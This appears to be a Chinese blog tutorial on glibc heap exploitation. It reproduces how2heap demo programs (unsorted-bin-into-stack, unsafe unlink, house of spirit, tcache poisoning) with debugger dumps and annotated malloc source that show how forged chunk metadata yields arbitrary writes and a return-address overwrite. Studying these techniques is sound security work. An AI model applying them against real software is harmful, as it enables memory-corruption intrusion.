how2heap

unsorted_bin_into_stack (glibc 2.23)

  • 环境
    Ubuntu 16.04
    Glibc 2.23
  • 源代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
    intptr_t stack_buffer[4] = {0};

    printf("Allocating the victim chunk\n");
    intptr_t* victim = malloc(0x100);

    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);

    printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free(victim);

    printf("Create a fake chunk on the stack");
    printf("Set size for next allocation and the bk pointer to any writable address");
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;

    //------------VULNERABILITY-----------
    printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
    printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
    victim[-1] = 32;
    victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
    //------------------------------------

    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);

    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    assert((long)__builtin_return_address(0) == (long)jackpot);
}

第 13 行 intptr_t* victim = malloc(0x100); 为 victim 分配空间,其对应的 chunk(下文称为 victim_chunk) 的地址为 0x602410

pwndbg> x/6xg 0x602410
0x602410:   0x0000000000000000  0x0000000000000111
0x602420:   0x0000000000000000  0x0000000000000000
0x602430:   0x0000000000000000  0x0000000000000000

执行完第 19 行 free(victim); 后,victim_chunk 进入 unsorted bin。

pwndbg> unsortedbin
unsortedbin
all: 0x602410 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602410

执行完第 30 行 victim[1] = (intptr_t)stack_buffer; 后, victim_chunk 被篡改,其 bk 指针指向目标栈地址(stack_buffer),fd 指针指向 main_arena + 88

pwndbg> x/6xg 0x602410
0x602410:   0x0000000000000000  0x0000000000000020
0x602420:   0x00007ffff7dd1b78  0x00007fffffffde00
0x602430:   0x0000000000000000  0x0000000000000000

stack_buffer 中有一个伪造的 chunk(下文称为 fake_chunk):

// 伪造 chunk
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;
pwndbg> x/6xg 0x00007fffffffde00
0x7fffffffde00: 0x0000000000000000  0x0000000000000110
0x7fffffffde10: 0x0000000000000000  0x00007fffffffde00
0x7fffffffde20: 0x00007fffffffdf10  0xc4dc343a57b79300

现考虑第 34 行的 char *p2 = malloc(0x100);。查看 _int_malloc() 中的相关源代码:

for (;; )
{
    int iters = 0;
    // 处理 unsorted bin 的循环,首先获得链表中的第一个 chunk
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
    {
        // victim 就是我们的 victim_chunk
        // bck 即 fake_chunk
        bck = victim->bk;   // bck 是第二个 chunk
        // 64 位系统中,SIZE_SZ 等价于一个 32 位 unsigned int
        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
            || __builtin_expect (victim->size > av->system_mem, 0))
        malloc_printerr (check_action, "malloc(): memory corruption",
                         chunk2mem (victim), av);
        size = chunksize (victim);

        /*
         If a small request, try to use last remainder if it is the
         only chunk in unsorted bin.  This helps promote locality for
         runs of consecutive small requests. This is the only
         exception to best-fit, and applies only when there is
         no exact fit for a small chunk.
        */
        // victim_chunk 不是 last_remainder 且 size 不满足
        if (in_smallbin_range (nb) &&
            bck == unsorted_chunks (av) &&
            victim == av->last_remainder &&
            (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
        {
        // 考虑 smallbin,(相反,另一个分支考虑的就是 largebin)相关代码如下:
        /*
            #define NBINS             128
            #define NSMALLBINS         64
            #define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
            #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
            #define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
          //                                64              0/1                 2*SIZE_SZ

            #define in_smallbin_range(sz)  \
            ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
        */
            ......
        }

        /* remove from unsorted list */
        // 向 fake_chunk 的 fd 段写入 main_arena+88
        unsorted_chunks (av)->bk = bck;
        bck->fd = unsorted_chunks (av);

        /* Take now instead of binning if exact fit */
        // 如果大小刚好符合,返回该 chunk
        if (size == nb)
        {
            set_inuse_bit_at_offset (victim, size);
            if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
            check_malloced_chunk (av, victim, nb);
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            
            return p;
        }

        /* place chunk in bin */
        // 根据大小不同进行处理,放入对应的 bin 中
        if (in_smallbin_range (size))
        {
            // 放入 small bin
            victim_index = smallbin_index (size);
            yy = bin_at (av, victim_index);
            fwd = bck->fd;
        }
        else
        {
            // 放入 large bin
            ......
        }

        // 插入双链表
        mark_bin (av, victim_index);
        victim->bk = bck;
        victim->fd = fwd;
        fwd->bk = victim;
        bck->fd = victim;
        // 至此,victim 被从 unsorted bin 中取出放入 small bin 或 large bin 中
        // 如果还没分配出合适大小的 chunk,会重新回到循环的开头
        // 再循环一次的话,取出的就是 fake_chunk,大小刚好符合,返回该 chunk

#define MAX_ITERS       10000
        if (++iters >= MAX_ITERS)
            break;
    }   
    ......

根据上面的分析,malloc(0x100) 的时候分配的就是 fake_chunk

    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);
/*
Now next malloc will return the region of our fake chunk: 0x7ffe4a7c5a10
malloc(0x100): 0x7ffe4a7c5a10
*/

后面就是往 ret 的位置写入 shellcode 。

    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    assert((long)__builtin_return_address(0) == (long)jackpot);
pwndbg> stack 40
00:0000│ rsp 0x7fffffffdde0 —▸ 0x400706 (jackpot) ◂— 0x400938bfe5894855
01:0008│     0x7fffffffdde8 —▸ 0x602420 —▸ 0x7ffff7dd1b88 (main_arena+104) —▸ 0x602410 ◂— 0x0
02:0010│     0x7fffffffddf0 —▸ 0x602530 ◂— 0x0
03:0018│     0x7fffffffddf8 —▸ 0x7fffffffde10 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602630 ◂— 0x0
04:0020│     0x7fffffffde00 ◂— 0x0
05:0028│     0x7fffffffde08 ◂— 0x110
06:0030│     0x7fffffffde10 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602630 ◂— 0x0
07:0038│     0x7fffffffde18 —▸ 0x7fffffffde00 ◂— 0x0
08:0040│     0x7fffffffde20 —▸ 0x7fffffffdf10 ◂— 0x1
09:0048│     0x7fffffffde28 ◂— 0xa9859577826b600
0a:0050│ rbp 0x7fffffffde30 —▸ 0x4008b0 (__libc_csu_init) ◂— 0x41ff894156415741
0b:0058│ rdx 0x7fffffffde38 —▸ 0x400706 (jackpot) ◂— 0x400938bfe5894855
  • 步骤
  1. 创建
victim = malloc(0x100);
p1 = malloc(0x100);      // 防止 free(victim) 后合并入 top chunk
free(victim)
  1. 伪造一个 chunk,bk 指向自身
  2. 修改 victim 的 bk 指向 fake_chunk
  3. malloc(size)(要求 size 满足:unsorted bin 会遍历 chunk link,在这个过程中跳过 victim 而选中 fake_chunk)。此时 fake_chunkfd 指向 main_arena+88,借此可以泄漏 libc 基地址。

unsafe_unlink (glibc 2.31)

  • 环境
    Ubuntu 20.04
    Glibc 2.31
  • 源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 20.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
    chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}
  • 分析
    利用该漏洞的前提条件:
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
  1. 首先是在 chunk0 中伪造一个 fake_chunk。
    运行到第 29 行:
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 20.04 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

The global chunk0_ptr is at 0x555555558020, pointing to 0x5555555592a0
The victim chunk we are going to corrupt is at 0x5555555596d0

We create a fake chunk inside chunk0.
We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f

查看 chunk0:

gdb-peda$ x/10xg 0x555555559280
0x555555559280: 0x0000000000000000  0x0000000000000000
0x555555559290: 0x0000000000000000  0x0000000000000431
0x5555555592a0: 0x0000000000000000  0x0000000000000000
0x5555555592b0: 0x0000000000000000  0x0000000000000000
0x5555555592c0: 0x0000000000000000  0x0000000000000000
  1. 经过第 29 行 chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; 的修改后:
gdb-peda$ x/10xg 0x555555559280
0x555555559280: 0x0000000000000000  0x0000000000000000
0x555555559290: 0x0000000000000000  0x0000000000000431
0x5555555592a0: 0x0000000000000000  0x0000000000000421
0x5555555592b0: 0x0000000000000000  0x0000000000000000
0x5555555592c0: 0x0000000000000000  0x0000000000000000

如此可以绕过 unlink 之前的如下检查:

    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink(av, p, bck, fwd);
  1. 接下来第 31 行 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 设置 fake_chunk 的 fd,使其能绕过如下检查:
    // p 在 bin 中的上一个 chunk 的 下一个 chunk 肯定是它自己
    assert(p->fd->bk == p);

其中,p->fd 取出 chunk0_ptr[2] 中存放的地址(此处的 p 为 fake_chunk,fake_chunk 的首地址存放在 &chunk0_ptr),即 (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3)(换言之,p->fd == (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3))。而

p->fd->bk => p->fd + (sizeof(uint64_t)*3) => (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*3) + (sizeof(uint64_t)*3) => &chunk0_ptr
p->fd->bk == p 成立

为什么是 + (sizeof(uint64_t)*3)?因为 bk 是 chunk 中的第 4 个元素。
第 34 行 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); 则设置 fake_chunk 的 bk,与上同理,绕过 assert(p->bk->fd == p); 的检查。
此时的 chunk0 及 fake_chunk 如下:

gdb-peda$ x/10xg 0x555555559280
0x555555559280: 0x0000000000000000  0x0000000000000000
0x555555559290: 0x0000000000000000  0x0000000000000431
0x5555555592a0: 0x0000000000000000  0x0000000000000421
0x5555555592b0: 0x0000555555558008  0x0000555555558010
0x5555555592c0: 0x0000000000000000  0x0000000000000000
  1. 第 42 行 chunk1_hdr[0] = malloc_size; 将 chunk1 的 prev_size 改成 fake_chunk 的 size,并且在第 45 行 chunk1_hdr[1] &= ~1;previous_in_use 位置 0。此时 ptmalloc 会“以为” chunk1 的上一个相邻的 chunk 是 fake_chunk,并且 fake_chunk 已经被 free,由 bins 管理。如果在这个时候 free 掉 chunk1,就会触发 unlink,将 fake_chunk 和 chunk1 合并一个 chunk,再放回 bins 中。unlink 会修改合并的两个 chunk 的前一个 chunk 的 fd 和 bk(此处修改的是 fake_chunk),具体如下:
// https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                                               \
    BK = P->bk;                                                               \
......
        FD->bk = BK;                                                          \
        BK->fd = FD;                                                          \
......

下面是 free 前后的对比(chunk0_ptr 存放在 0x555555558020,且指向 0x5555555592a0):

// free(chunk1_ptr) 之前
gdb-peda$ x/10xg 0x555555558020
0x555555558020 <chunk0_ptr>:    0x00005555555592a0  0x0000000000000000
0x555555558030: 0x0000000000000000  0x0000000000000000
0x555555558040: 0x0000000000000000  0x0000000000000000
0x555555558050: 0x0000000000000000  0x0000000000000000
0x555555558060: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/10xg 0x00005555555592a0
0x5555555592a0: 0x0000000000000000  0x0000000000000421    // fake_chunk
0x5555555592b0: 0x0000555555558008  0x0000555555558010
0x5555555592c0: 0x0000000000000000  0x0000000000000000
0x5555555592d0: 0x0000000000000000  0x0000000000000000
0x5555555592e0: 0x0000000000000000  0x0000000000000000

// free 之后
gdb-peda$ x/6xg 0x555555558020
0x555555558020 <chunk0_ptr>:    0x0000555555558008  0x0000000000000000
0x555555558030: 0x0000000000000000  0x0000000000000000
0x555555558040: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/6xg 0x00005555555592a0
0x5555555592a0: 0x0000000000000000  0x0000000000020d61
0x5555555592b0: 0x0000555555558008  0x0000555555558010
0x5555555592c0: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/6xg 0x0000555555558008
0x555555558008: 0x0000555555558008  0x00007ffff7faf6a0
0x555555558018 <completed.8060>:    0x0000000000000000  0x0000555555558008
0x555555558028: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/6xg 0x0000555555558010
0x555555558010 <stdout@@GLIBC_2.2.5>:   0x00007ffff7faf6a0  0x0000000000000000
0x555555558020 <chunk0_ptr>:    0x0000555555558008  0x0000000000000000
0x555555558030: 0x0000000000000000  0x0000000000000000

由于第 3 步的设计,fake_chunk 的 FD 指向 (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3)(即 0x0000555555558008 处),而 BK 指向 (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2)(即 0x0000555555558010 处),都在 &chunk0_ptr 附近。此时,FD->bkBK->fd 都指向 &chunk0_ptr,即存放指向 fake_chunk 头部的指针的位置,而 unlink 中执行 FD->bk = BK; BK->fd = FD; 则会将该位置所存放的指针改为指向 FD(即 0x0000555555558008)。

gdb-peda$ x/6xg 0x555555558020
0x555555558020 <chunk0_ptr>:    0x0000555555558008  0x0000000000000000
0x555555558030: 0x0000000000000000  0x0000000000000000
0x555555558040: 0x0000000000000000  0x0000000000000000
  1. 此时会出现一种诡异的现象:操作系统“以为” fake_chunk 的头指针(P 指针)存放在 0x555555558020,指向 0x0000555555558008(fake_chunk 位于此)。如此,新的 fake_chunk 的 bk 段也在 0x555555558020,我们能通过修改 fake_chunk 的 bk 段修改 chunk0_ptr 指针(注意:fake_chunk 的头部指针即为一开始的 chunk0_ptr = (uint64_t*) malloc(malloc_size);,我们假设始终有权修改 chunk0_ptr 指向的内容)。
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;
gdb-peda$ x/6xg 0x555555558020
0x555555558020 <chunk0_ptr>:    0x00007fffffffde20  0x0000000000000000
0x555555558030: 0x0000000000000000  0x0000000000000000
0x555555558040: 0x0000000000000000  0x0000000000000000
  1. 此时便能通过修改 chunk0_ptr 指向的内容来篡改 victim_string。
    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
/*
Original value: Hello!~
New Value: BBBBAAAA
*/
  • 总结流程
  1. chunk0_ptr = (uint64_t*) malloc(malloc_size);(需要知道 &chunk0_ptr,即存放该指针的地址)
  2. uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
  3. 在 chunk0_ptr 指向的空间中伪造一个 fake_chunk:

chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; // size
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)3); // fd
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)
2); // bk

  1. 从 chunk0 溢出,修改 chunk1 的 prev_size 为 fake_chunk 的 size,并且将 chunk1 的 previous_in_use 位置 0
  2. free(chunk1)
  3. 将 fake_chunk(chunk0_ptr 指向 fake_chunk 头部)的 bk 段修改为指向要篡改数据的地址
  4. 此时 chunk0_ptr 指向的便是我们要篡改的数据,直接修改该指针指向的数据即可

house_of_spirit (glibc 2.23)

  • 环境
    Ubuntu 16.04
    Glibc 2.23
  • 源代码
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
  • 分析
  1. 第 9 行 malloc(1); 调用一次 malloc 以分配一块堆内存;
  2. 第 14 行 unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); 要求 fake_chunks 的地址 16 字节对齐;
  3. 第 20 行 fake_chunks[1] = 0x40; 设置 fake_chunk 的 size 字段,第 24 行 fake_chunks[9] = 0x1234; 设置 fake_chunk 的下一个 chunk 的 size;
  4. 接下来就是 free 掉 fake_chunk,再重新 malloc,即可令系统将其视为一个真正的 chunk 来使用:
    unsigned long long *a;
    ...
    a = &fake_chunks[2];
    ...
    free(a);
    ...
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
  • CTF Wiki
    House of Spirit 是 the Malloc Maleficarum 中的一种技术。该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
    要想构造 fastbin fake chunk,并且将其释放时,可以放入对应的 fastbin 链表中,需要绕过一些必要的检测,即
  1. fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理:
  /*
    If the chunk was allocated via mmap, release via munmap().
  */
  else {
    munmap_chunk (p);
  }
  1. fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    {
      errstr = "free(): invalid pointer";
    errout:
      if (!have_lock && locked)
        (void) mutex_unlock (&av->mutex);
      malloc_printerr (check_action, errstr, chunk2mem (p), av);
      return;
    }
  1. fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
      errstr = "free(): invalid size";
      goto errout;
    }
......
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
  1. fake chunk 的下一个 chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
  1. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
......
      /*
    If TRIM_FASTBINS set, don't place chunks
    bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)

tcache_house_of_spirit (glibc 2.31)

  • 源代码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    setbuf(stdout, NULL);

    printf("This file demonstrates the house of spirit attack on tcache.\n");
    printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
    printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
    printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

    printf("Ok. Let's start with the example!.\n\n");


    printf("Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
    unsigned long long *a; //pointer that will be overwritten
    unsigned long long fake_chunks[10]; //fake chunk region

    printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

    printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size


    printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

    a = &fake_chunks[2];

    printf("Freeing the overwritten pointer.\n");
    free(a);

    printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    void *b = malloc(0x30);
    printf("malloc(0x30): %p\n", b);

    assert((long)b == (long)&fake_chunks[2]);
}
  • 分析
    其实跟原始的 house of spirit 基本相同,甚至都不用设置 next_chunk 的 size.

tcache_poisoning (glibc 2.27)

  • 源代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    // disable buffering
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
           "returning a pointer to an arbitrary location (in this case, the stack).\n"
           "The attack is very similar to fastbin corruption attack.\n");
    printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
           "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

    size_t stack_var;
    printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

    printf("Allocating 2 buffers.\n");
    intptr_t *a = malloc(128);
    printf("malloc(128): %p\n", a);
    intptr_t *b = malloc(128);
    printf("malloc(128): %p\n", b);

    printf("Freeing the buffers...\n");
    free(a);
    free(b);

    printf("Now the tcache list has [ %p -> %p ].\n", b, a);
    printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
           "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

    printf("1st malloc(128): %p\n", malloc(128));
    printf("Now the tcache list has [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("2nd malloc(128): %p\n", c);
    printf("We got the control\n");

    assert((long)&stack_var == (long)c);
    return 0;
}
  • 分析
    ctf wiki
  • 步骤
    可能需要一个 UAF,free 进 tcache 后篡改 next 段,再用 2 次 malloc 在指定的地址伪造 chunk。

tcache_dup

  • 分析
    how2heap 上这份代码好像已经被删掉了,可以看看 ctf wiki
  • 关键点
    double free.

tcache_stashing_unlink_attack


靓仔靓妹,既然都看到这里了,不妨点个免费的赞让我高兴高兴?

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 224,764评论 6 522
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 96,235评论 3 402
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 171,965评论 0 366
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 60,984评论 1 300
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 69,984评论 6 399
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 53,471评论 1 314
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 41,844评论 3 428
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 40,818评论 0 279
